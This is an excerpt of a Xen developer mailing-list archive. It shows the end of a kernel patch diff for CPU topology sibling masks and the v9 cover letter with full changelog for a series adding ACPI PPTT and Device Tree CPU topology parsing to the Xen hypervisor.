+                cpumask_set_cpu(tcpu, topo->thread_sibling);
+                cpumask_set_cpu(cpu, ttopo->thread_sibling);
+            }
+
+            if ( topo->phys_cluster_id == ttopo->phys_cluster_id )
+            {
+                cpumask_set_cpu(tcpu, topo->cluster_sibling);
+                cpumask_set_cpu(cpu, ttopo->cluster_sibling);
+            }
+
+            if ( topo->phys_socket_id == ttopo->phys_socket_id )
+            {
+                cpumask_set_cpu(tcpu, topo->core_sibling);
+                cpumask_set_cpu(cpu, ttopo->core_sibling);
+            }
+        }
+
+        topo->num_siblings = cpumask_weight(topo->thread_sibling);
     }
 
-    return 0;
+ out:
+    xvfree(socket_map);
+    xvfree(cluster_map);
+    xvfree(core_map);
+
+    return ret;
 }
 
 /*
diff --git a/xen/include/xen/acpi.h b/xen/include/xen/acpi.h
index cbb02e0f35..9788586be4 100644
--- a/xen/include/xen/acpi.h
+++ b/xen/include/xen/acpi.h
@@ -52,6 +52,8 @@
                 (!(entry)) || (unsigned long)(entry) + sizeof(*(entry)) > (end) ||  \
                 (entry)->header.length < sizeof(*(entry)))
 
+#define INVALID_ACPIID		(-1U)
+
 #ifdef CONFIG_ACPI
 
 #include <acpi/acpi.h>
@@ -137,10 +139,12 @@ static inline int acpi_boot_table_init(void)
 
 #ifdef CONFIG_ACPI_CPU_TOPOLOGY
 
+void acpi_map_cpu_acpiid(unsigned int cpu, uint32_t acpi_id);
 int acpi_init_cpu_topology(void);
 
 #else /* CONFIG_ACPI_CPU_TOPOLOGY */
 
+static inline void acpi_map_cpu_acpiid(unsigned int cpu, uint32_t acpi_id) {}
 static inline int acpi_init_cpu_topology(void)
 {
     return -EOPNOTSUPP;
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 05:07:03 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 05:07:03 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372048.1619441 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woa1r-0000ZK-3r; Tue, 28 Jul 2026 05:06:59 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372048.1619441; Tue, 28 Jul 2026 05:06:59 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woa1r-0000ZD-0U; Tue, 28 Jul 2026 05:06:59 +0000
Received: by outflank-mailman (input) for mailman id 1372048;
 Tue, 28 Jul 2026 05:06:57 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1woa1o-0000Yv-00
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 05:06:56 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woa1m-00Fj7M-Mw
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 07:06:54 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a6838ed-bab6-0a2a0a5309dd-0a2a4504d6a2-0
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 07:06:53 +0200
Received: from [52.101.125.79]
 (helo=TYVP286CU001.outbound.protection.outlook.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a6838ea-b57f-0a2a45040019-34657d4f8021-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 07:06:52 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by TY1P286MB3277.JPNP286.PROD.OUTLOOK.COM (2603:1096:400:2e5::9) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.13; Tue, 28 Jul
 2026 05:06:48 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0245.012; Tue, 28 Jul 2026
 05:06:48 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=flmWxBVhf2Bwo8el3iB3hRs/hMG6YputCcmyrZjPwp9ZHXCRF9i8oQW5RIBYR1bycA5lktAjYCDtUsfnb8uaYsSo9QfMJGrb/cr7lM0LzMDvKZFjyv+aFg/lsQlY2r0xnZrrTDsXLFDa9wjYULn6mbs1XzSB+XvFFSI/Kd5TJBGfHxbXl0eXKoHzcQWTcFLhjciTtQSx64qvx4wq+T4PUMCURv0YbPOLrFSEvcmgWzAQZqVfTlLpApy79CvWjbFHZ7x1syXxy1cUZrCtOu1GI7dn4aPKjSHIkwc4Ms11wK1kSu3czCjcKhm20wCSDxrjDZqFxenEmJl4wQzOkXLWmQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=lIH8iTkHiSnoxIPOsKQcpvdot41oBGlcBy+kpYGk440=;
 b=tD+4JcjCpOzqDcEmXKckXGS/WkQaDt4Rxkto41Ib0U9CsRYCTz8Vc+1X/MaGz4/66PznLl3JLR3qVIpeQIFQOEDHkmZlBJ7N7SDuEB3yV7OrJEELahkAuo1/2d7gl9ez/mOyGcN3Wnhi501YnbS2WystDURekC3ioqZnhb0RUDXZ4YQCiSkCGnGDHqEzoJTi91v134WA5AaoKBzMblWAUemmribG/zXMdepufw6pY+M+b/g5QsArJDwIlY5+aekzDUpD6UI0RqACdl3zx5RjRS8s+EhYlE/AmPcLm36njoGYxV6sls+mGLuVmLaqrCqCZ7798okK4SfIEc2sqzpraw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=lIH8iTkHiSnoxIPOsKQcpvdot41oBGlcBy+kpYGk440=;
 b=rBcR2ygloXQaDabXxYu3hjk43T9ulaeNZw1Oy2MuXBEp9mhRfJzeDs8U9qkQk6JfKjLK4VZHlcVUfI1QwPPpjre2Vd0dx6d62by+SalHeQ/uBzP/MMyBCjcMmr7D/CKjk29hJDqQuuZ8F5rdlt8DTsW708Zik+pr1iy5wY1fiwI=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: xen-devel@lists.xenproject.org
Cc: Mykyta_Poturai@epam.com,
	Hirokazu Takahashi <taka@valinux.co.jp>
Subject: [PATCH v9 0/4] xen/acpi,device-tree: Introduce generic CPU topology support for ACPI and DT
Date: Tue, 28 Jul 2026 14:06:38 +0900
Message-ID: <20260728050642.411240-1-taka@valinux.co.jp>
X-Mailer: git-send-email 2.43.0
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: TYCPR01CA0164.jpnprd01.prod.outlook.com
 (2603:1096:400:2b1::19) To OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:604:458::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: OS9P286MB7222:EE_|TY1P286MB3277:EE_
X-MS-Office365-Filtering-Correlation-Id: fddb030b-bcc5-4634-d091-08deec660707
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|366016|10070799003|23010399003|1800799024|29003799003|6133799003|18002099003|25016099003|3023799007|56012099006|10067099003;
X-Microsoft-Antispam-Message-Info:
	GZAPflQFMGMnj/UAkqQSTHcTMZsOH7L7kh6ElLZ3T6avwcpZOU/2PAEre6PwexUPyTmFUDHZ1/BOT/2GGJxNDXFeTwLTGMsU1Vo7MzDtBnA9lzxhBcOkGM2CNkJIlYzC3iSmF+2DYT95tW5au9vxxpn8lPlwCGYhViMqhOIgYUzDnVKo/qUpdQcIpN0t4Sw3B6GpQCh90GCjI/sijNjD/PvXjKbduoAUos5M/OgOM16nP13uBgDZO8ryWvUmrvd27SVgacBkHxUcnqFRr6RI9Ot2oNRAFA0x50w6zTl1JkjAzrXx9kFF0/pfch948jHB/L51CIfrDDkSs39yT6gpS0dACwsgjv2i0nkX/oD+Muh8vOj8WDaUWcsxxp91txx2Rhj1inOVAAM2ndbNe+ZzSV0d9V7ZVbJRaNO1wY5aQPFYLVEB4q0cYrTLgZOhwr69Lb3q3hkEUcMZi35wpfT3VhbevnfynhwI++nh3HCldLUvpy/sk3/JmnOwVz9WhvSYJUEZ4Dl4lNKfNj3dk2/gdDKrZTTRK1ZC+QyskP3XUoae0QRHZfc2RaPvT7kph8qCTUTILnPQqs3HhiGYKxREm6YIadvpeXd2njjWxuvWe5lnCWtldCCRk2Qj/rHGMY6ocYYLo1r4Ih3dCfk6moLDKHLtea9VK8pp7dTEtxoQH68=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(376014)(366016)(10070799003)(23010399003)(1800799024)(29003799003)(6133799003)(18002099003)(25016099003)(3023799007)(56012099006)(10067099003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 2
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?0IBbGEk9RlW5KkF/EQUu89X/fdkipBj6b4oZCxYmrB3I3B96Gw1/hl/lYUnU?=
 =?us-ascii?Q?1hQBo7r/rkmq0x6g3v+Np/0imgmRW95Yvq5X7+n93qo5IG7eFSV/1ZblbcuE?=
 =?us-ascii?Q?QQCAm9ANwTUkYu9yonaLMxMVYIgBDCRc4CPKbvjj9sJTF71lvSodKB3TYth/?=
 =?us-ascii?Q?Q5glSg0l3nmAtzU5H4CDaQ5MeDR+WR3Mn7Rje6X2LDbHxkxlPzP3qmOTOjZI?=
 =?us-ascii?Q?a1ixLnMlPpcGpKeHAruzFGZOzHJAiLKOB0kqcYma0dOO6maRlZOm54TwtllO?=
 =?us-ascii?Q?Bow7n0Hb/T4HP99yw/MYYYlGsvF7QyOfzzMvJnIS+DL7DWSLfM3BwdG/RUCA?=
 =?us-ascii?Q?rQPwDUHFaYghF2u/YFFBdY029MftedJo+lfZIBn3hkYB4uL2zZqAbrUdaL2R?=
 =?us-ascii?Q?gt9WajsVstniZOo2tsVZDtdXerpklcU5aja+oK+j8EeTp+oPyZceziqYocRV?=
 =?us-ascii?Q?gIBoCuAlCh5SYe/QJnrWswEVP0m6XBAGoSUB9smlH5lj9A3Xjz7+Dm9dw8dF?=
 =?us-ascii?Q?jvahVtIhSXpSiZQbMiqPxTWkp2plcjFmEV79PYKIwWMORDkyhYzli/QZwpaP?=
 =?us-ascii?Q?mGl8iiaDV8+YbKnEZ6h0EZ06IHHwq7InlMgVJhB50il53Y3gFTm3z5h4/vZR?=
 =?us-ascii?Q?Ta5PWdF1/L4B8zhetJbLIGu5tbSSRqADQzjoPW0+gGTyN4yY21surjEwVmwa?=
 =?us-ascii?Q?3kotLesGHGboU0GMsJWFKqQSmWlIHynq0C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mv5dWluNzk?=
 =?us-ascii?Q?JVBmeaadYkfXTrKy4YXCAMaTtjoBFsDTV7vusC5HqT7YXTB721FvaEhF0cg/?=
 =?us-ascii?Q?9uScMagfNOWyMURi+gFWmxbl9MTX+IQ+7qfKEbU0uOKqpwWUUIxyritwlcWP?=
 =?us-ascii?Q?47/r6ywoksri6eUmCXHyXJhgYJEXTt+diacRmLyyveeHs6mep7+t3urn07/w?=
X-MS-Exchange-AntiSpam-MessageData-1: pwdX/IUX3rfCGw==
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-Network-Message-Id: fddb030b-bcc5-4634-d091-08deec660707
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 28 Jul 2026 05:06:48.3477
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: Tco9q+oZKBcmPdNqbA04Jbsn/J+v88/bIw0YKov7BwZ+1iEsUyAQxLf7vqQ2lwmEUZN/zES76cKGCdX4SiSe+Q==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: TY1P286MB3277
X-purgate-ID: tlsNG-ebf023/1785215213-C0AD8B50-9C0FCA69/0/0
X-purgate-type: clean
X-purgate-size: 11491

Hello,

This patch series integrates CPU topology discovery into the Xen hypervisor
for both ACPI and Device Tree platforms.

Changes in v9:
 - Add bounds checking for the number of private resources in the PPTT
   processor table.
 - Verify the validity of entries when indexing into the map_cpu_acpiid table.
 - Coding style adjustments (following Xen standards):
   * Place logical operators ('||', '&&') at the end of lines when splitting
     multi-line conditions.
   * Place arithmetic operators ('+', '-') at the end of lines when wrapping
     long assignment statements.
   * Enclose bitwise operations in parentheses within conditional expressions
     that combine logical operators.
   * Combine variable declaration and initialization where applicable.

Changes in v8:
- PPTT Table Validation & Hardening:
  * Relaxed processor node length check to allow
    proc->header.length >= table_size.
  * Treated root nodes (nodes with parent == 0) as equivalent to
    ACPI_PPTT_PHYSICAL_PACKAGE nodes.

- Build & Kconfig Adjustments:
  * Removed leftovers of ACPI_CPU_TOPOLOGY definition from
    xen/drivers/acpi/Kconfig.

- Code Cleanups & Style Conformance:
  * Moved INVALID_ACPIID definition to xen/acpi.h to make it available
    cross-architecture.
  * Removed ARM-specific references from comments in
    architecture-agnostic code.
  * Added explicit parentheses around bitwise operations in logical
    expressions.
  * Placed binary logical operators (||, &&) at the end of lines when
    splitting conditional statements.
  * Combined variable declarations and initializations where appropriate.
  * Removed trailing full stops ('.') from printk log messages.
  * Fixed printk format specifier mix-up.
  * Explicitly included <xen/cpu-topology.h> in xen/common/cpu.c.

Changes in v7:
- PPTT Table Validation & Hardening:
  * find_pptt_node(): Added leaf node verification (ACPI 6.3+).
  * acpi_init_cpu_topology(): Added bounds checks to ensure proc->parent
    validly references memory strictly inside the PPTT table bounds.
  * Factored out shared table checking helper functions used by both
    find_pptt_node() and acpi_init_cpu_topology().
  * Added subtable alignment checks and strengthened processor structure
    size validation.

- Graceful Fallback & Allocation:
  * Treated missing topology definitions as benign conditions.
  * Used xvzalloc_array() for temporary memory allocations during
    initialization.

- Build & Kconfig Adjustments:
  * Updated Kconfig to use "depends on UNSUPPORTED" instead of "if UNSUPPORTED".

- Code Cleanups & Style Conformance:
  * Used designated initializers for structure data initializations.
  * Consolidated topology helpers with IS_ENABLED().
  * Removed redundant error checks and reduced unnecessary pointer casts.
  * Switched type-based sizeof(type) to variable-based sizeof(*var).
  * Added leading spaces before labels ( out:)

Changes in v6:
 - Renamed the series subject from "xen/arm: Device Tree based CPU topology
   support" to reflect the inclusion of generic ACPI PPTT topology parsing.

 - Infrastructure & Kconfig:
   * Updated Kconfig to make both DT_CPU_TOPOLOGY and ACPI_CPU_TOPOLOGY
     select GENERIC_CPU_TOPOLOGY.
   * Ensured that if topology parsing from either DT or ACPI PPTT fails, the
     CPU topology table is freed to fall back to the non-topology behavior.
   * Moved the `cpu_topology` definition to `cpu.c` so that variables and
     functions in `cpu-topology.c` can be completely freed after Xen init.

 - Topology Logic (DT / ACPI):
   * Set the cluster ID to 0 when the cluster definition is missing from the
     Device Tree `cpu-map` node.
   * Handled cases where cluster info is missing upon reaching a physical
     package in the PPTT parser by assuming one cluster per socket.
   * Split out the import of ACPI PPTT definitions from the Linux kernel
     (including unused definitions) into a separate standalone patch.

 - Robustness & Safety:
   * Avoided assuming `np` becomes NULL after exiting `dt_for_each_child_node()`;
     explicitly return NULL instead.
   * Added bounds-checking `ASSERT`s for values returned by `cpumask_first()`.
   * Added explicit braces `{}` to nested `if` statements to clarify `else`
     scoping and maintain style symmetry.
   * Enforced an upper limit on the PPTT parsing loop iterations to prevent
     infinite loops on corrupted tables.
   * Treat the absence of a physical package node definition in PPTT as a
     parsing error.

 - Optimization & Efficiency:
   * Optimized `setup_siblings_masks()` to eliminate redundant loop iterations.
   * Dynamically allocate the temporary data storage used during ACPI PPTT
     parsing.

 - Code Cleanup & Refactoring:
   * Replaced the `invalid_topo_id` constant with the `INVALID_TOPO_ID` macro.
   * Initialized all members of the `cpu_map` array with `INVALID_TOPO_ID`.
   * Added a blank line between `<xen/...>` and `<asm/...>` header groups.
   * Reordered `#ifdef` blocks to prioritize generic logic over architecture-
     specific ones.
   * Corrected code indentation.
   * Applied the `static` specifier to file-local data structures and functions.
   * Minimized the use of fixed-width `uint32_t` types, restricting its use only
     where strictly required by the 32-bit ACPI ID specification.
   * Declared `map_cpu_acpiid[]` as static and introduced the helper function
     `acpi_map_cpu_acpiid()` for managed access.
   * Renamed local variables to more intuitive names.
   * Simplified the implementation of `get_logical_id()`.
   * Refactored PPTT parsing to reduce type casting by using `container_of()`
     and switching from `char *` to `void *` pointers.
   * Removed redundant error checks.
   * Cleaned up unused variables and eliminated debug print statements.

Changes in v5:
 - Extracted CPU topology information from the ACPI PPTT.
 - Corrected the erroneous use of CONFIG_CPU_TOPOLOGY to
   CONFIG_GENERIC_CPU_TOPOLOGY.

Changes in v4:
 - Only display the CPU topology configuration prompt in common/Kconfig
   if the architecture defines HAS_GENERIC_CPU_TOPOLOGY.
 - Move the definition of the global 'cpu_topology' pointer to
   common/cpu-topology.c.
 - Update the Makefile to explicitly build objects as .init.o when all
   functions and data within a file are annotated with __init/__initdata,
   ensuring their memory is reclaimed after system initialization.
 - Add an error log in the CPU-to-node mapping function for out-of-bounds
   cases.
 - Use ARRAY_SIZE() instead of raw macros when guarding array accesses.
 - Rename variables and functions to avoid ambiguous or misleading terms:
   - Avoid 'cpuid' to prevent confusion with x86 CPUID features/instructions.
   - Avoid 'node' where it could be confused with a NUMA node, explicitly
     renaming them to clarify they refer to a Device Tree node.
 - Move local variable declarations into the narrowest possible scope.
 - Replace the unsupported "%pOF" printk format specifier with "%s" and
   explicit node name retrieval.
 - Remove #include <dt-cpu-topology.h> from cpu-topology.h, and ensure
   the header directly includes only what its definitions require.
 - Remove #include <xen/device_tree.h> from dt-cpu-topology.h, replacing
   it with a forward declaration of 'struct dt_device_node'.
 - Use 'const' qualifiers for pointer declarations where the pointed-to
   structure is not modified.
 - Explicitly #include <asm/processor.h> in cpu-topology.h to guarantee
   that arch-specific definitions of cpu_to_core() and cpu_to_socket()
   take precedence over the generic fallbacks.
 - Introduce inline initialization functions for cpu_sibling_mask and
   cpu_core_mask in cpu-topology.h, providing separate variants for both
   when CONFIG_GENERIC_CPU_TOPOLOGY is enabled and disabled.

Changes in v3:
 - Use (nr_cpu_ids - 1) as the maximum CPU ID here. The fix for the sparse
   map mismatch issue on ARM Xen has been split out into a separate patch.
 - Switch topology sibling masks to cpumask_var_t for dynamic allocation.
 - Allow the system to keep running with a degraded fallback even if
   the topology table allocation fails.
 - Remove the temporary definitions of cpu_to_core() and cpu_to_socket()
   from RISC-V and PPC processor.h.
 - Minimize the use of #ifdef blocks, leveraging compiler Dead Code
   Elimination (DCE) where possible.
 - Clean up the code to follow the Xen coding style. Please let me know
   if I missed any style nits!
 - Verify successful builds across x86, RISC-V, and PPC environments.

Changes in v2:
 - Generate topology information even when ACPI is enabled. Note that
   this is a temporary implementation and doesn't yet parse the PPTT
   (Processor Properties Topology Table).
 - Added support for cpu-map node in Device Tree that doesn't contain
   explicit cluster node definitions.

Changes in v1 from the previous series "Introduce Device Tree based NUMA
support for ARM Xen":

1. Optimized Memory Allocation:
   The series now allocates only the minimum required memory area to manage
   the essential data for the CPUs.

2. Flexible Device Tree Parsing:
   The parsing logic no longer depends on the definition order of the 'cpu'
   nodes and 'cpu-map' nodes in the Device Tree. They can now be read
   correctly even if their orders do not match.

3. CPU Hotplug Readiness:
   To support future CPU hotplug, the system assumes that inactive CPUs are
   also described in the Device Tree. Xen will pre-load and generate the
   topology information for these inactive CPUs during the boot phase so
   it stays available in memory.

Thank you,
Hirokazu Takahashi

Hirokazu Takahashi (4):
  xen/device-tree: Parse 'cpu-map' node for CPU topology exploration
  xen/sched: Link CPU topology to scheduler
  xen/sched: Make cpu_nr_siblings() architecture-specific
  xen/acpi: Parse PPTT to initialize CPU topology

 xen/arch/arm/Kconfig                   |   1 +
 xen/arch/arm/acpi/boot.c               |   2 +
 xen/arch/arm/include/asm/processor.h   |   4 -
 xen/arch/arm/smpboot.c                 |  15 +-
 xen/arch/ppc/include/asm/processor.h   |   4 -
 xen/arch/riscv/include/asm/processor.h |   4 -
 xen/arch/x86/include/asm/acpi.h        |   2 -
 xen/arch/x86/include/asm/processor.h   |   1 +
 xen/common/Kconfig                     |  22 ++
 xen/common/Makefile                    |   1 +
 xen/common/cpu-topology.c              |  62 ++++
 xen/common/cpu.c                       |   5 +
 xen/common/device-tree/Makefile        |   1 +
 xen/common/device-tree/cpu-topology.c  | 409 +++++++++++++++++++++++++
 xen/common/sched/credit2.c             |  21 +-
 xen/common/sysctl.c                    |   1 +
 xen/drivers/acpi/Makefile              |   1 +
 xen/drivers/acpi/topology.c            | 341 +++++++++++++++++++++
 xen/include/xen/acpi.h                 |  17 +
 xen/include/xen/cpu-topology.h         |  76 +++++
 xen/include/xen/dt-cpu-topology.h      |  35 +++
 21 files changed, 987 insertions(+), 38 deletions(-)
 create mode 100644 xen/common/cpu-topology.c
 create mode 100644 xen/common/device-tree/cpu-topology.c
 create mode 100644 xen/drivers/acpi/topology.c
 create mode 100644 xen/include/xen/cpu-topology.h
 create mode 100644 xen/include/xen/dt-cpu-topology.h

-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 05:07:03 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 05:07:03 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372049.1619446 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woa1r-0000c4-Az; Tue, 28 Jul 2026 05:06:59 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372049.1619446; Tue, 28 Jul 2026 05:06:59 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woa1r-0000bn-7Z; Tue, 28 Jul 2026 05:06:59 +0000
Received: by outflank-mailman (input) for mailman id 1372049;
 Tue, 28 Jul 2026 05:06:57 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1woa1p-0000Z0-8l
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 05:06:57 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woa1o-00Fj7M-M2
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 07:06:56 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a6838ed-bab6-0a2a0a5309dd-0a2a4504d6a2-4
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 07:06:55 +0200
Received: from [52.101.125.79]
 (helo=TYVP286CU001.outbound.protection.outlook.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a6838ea-b57f-0a2a45040019-34657d4f8021-4
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 07:06:55 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by TY1P286MB3277.JPNP286.PROD.OUTLOOK.COM (2603:1096:400:2e5::9) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.13; Tue, 28 Jul
 2026 05:06:50 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0245.012; Tue, 28 Jul 2026
 05:06:50 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=tcYnf959EAQ5anKA9Pnq8EIlevcB95riZDvrxLcibbb3f+vRBoZbJbnHyYHvUdhEIf4GRneqJ+KiF6r7FzMscQlwBwRmOpqRpPeUCcGwzbfqxWyIUmGjKJqrUeg0HQPo8Wqug6sQJXc7K62z1ijMqTBEfskAsVSnC0zziEtuM6uq3XlAIoR0BDi9CnnFjbDxe/cy5lY6DF/W6wjzCCnw007pH5r4QxOVJulXsl1UNYeK2kB2m+hl1yB1my7qxClaETH6yTtnDy8jc9M70VHOBS+431oggGmQIqxx228Gs5fa8fz/qEdgpVENJzFn2Fg5sZerEC7gDCY7GrXUWATupw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=nVzP9NhYns4rOlfOqDWENUFJy13P4GQAm4eByiwt3dA=;
 b=exX5rFFIDFGoW5siSDnZY1HqhtwS6LdLOE8+SUgbikK7DuPc4In4hpoP0kRBpzl1ytJPe8CJnMSVPdzTzm7JrKXVaePMR43R0hvazyimqwmpaWJ9DqVpKcLiplZkNjVob4JnLaC2lWrN2VFqReKlNXenyXVw9cN8/u6xF790pZbu+0tT9ugmhh/qZUKTgIiCpEj5aqpS+XRSYoHWkWB6qaavrVLfuaOJ3qz4YO2gRVeaO4MnsbKDwJvTMmQGzBTxzMREhtyaG0oUCVD0Nrwusr2Xw8y2jG1e2jRa8xEky3V0Ae+WyIlRNWmBMPoSsQ/xVmXy3F9g6re0Cw+0Q3Hypg==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=nVzP9NhYns4rOlfOqDWENUFJy13P4GQAm4eByiwt3dA=;
